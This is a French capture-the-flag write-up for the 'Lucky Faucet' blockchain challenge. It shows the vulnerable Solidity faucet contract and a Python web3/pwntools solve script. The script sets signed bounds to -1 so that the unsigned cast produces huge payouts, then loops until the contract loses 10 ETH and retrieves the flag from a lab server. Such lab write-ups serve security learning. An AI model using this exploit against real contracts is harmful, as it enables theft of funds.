Lucky Faucet
Challenge
Analyse du code
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
Script de résolution
Mis à jour
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
Mis à jour
function sendRandomETH() public returns (bool, uint64) {
// Choix d'un aléatoire
int256 randomInt = int256(blockhash(block.number - 1));
// Place cet aléatoire entre les bornes lowerBound et upperBound
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
// Envoi de la somme
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}int64 public upperBound;
int64 public lowerBound;
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote
VERSION = '0.7.6'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)
class Web3Client:
def __init__(self, host, port):
# Récupération des adresses des contrats
base = f"{host}:{port}"
self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
self.info = requests.get(f"http://{base}/connection_info").json()
self.contracts = {
'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
'lucky_faucet': self.get_contract('LuckyFaucet.sol', self.info['TargetAddress']),
}
def get_contract(self, filename: str, address: str):
compiled_sol = solcx.compile_files([filename])
key = filename + ':' + filename.split('.')[0]
interface = compiled_sol[key]
return self.w3.eth.contract(address=address, abi=interface['abi'])
# Attends la fin d'une transaction
def wait(self, transaction_hash):
return self.w3.eth.wait_for_transaction_receipt(transaction_hash)
def solve(host, port_rpc, port_soc):
# Connexion via RPC à la blockchain
rpc_client = Web3Client(host, port_rpc)
# Le contrat à exploiter
lucky_faucet = rpc_client.contracts['lucky_faucet']
# Redéfinition des bornes à [-1, -1]
rpc_client.wait(lucky_faucet.functions.setBounds(-1, -1).transact())
while True:
# Récupération du nombre d'ETH actuel dans le contrat
balance = rpc_client.w3.eth.get_balance(lucky_faucet.address)
print(f"💰 Balance: {balance}")
# Si le contrat à perdu au moins 10 ETH, alors c'est terminé
if balance < rpc_client.w3.to_wei(490, 'ether'):
break
# Appel de la fonction pour envoyer une somme "aléatoire"
rpc_client.wait(lucky_faucet.functions.sendRandomETH().transact())
# Connexion via socket au serveur raw
soc_client = remote(host, port_soc)
soc_client.sendlineafter(b'action? ', b'3')
# Récupération du flag
flag = soc_client.recvall(timeout=1).decode().strip()
print(f"Flag: {flag}")
if __name__ == '__main__':
solve('94.237.62.195', 38217, 41842)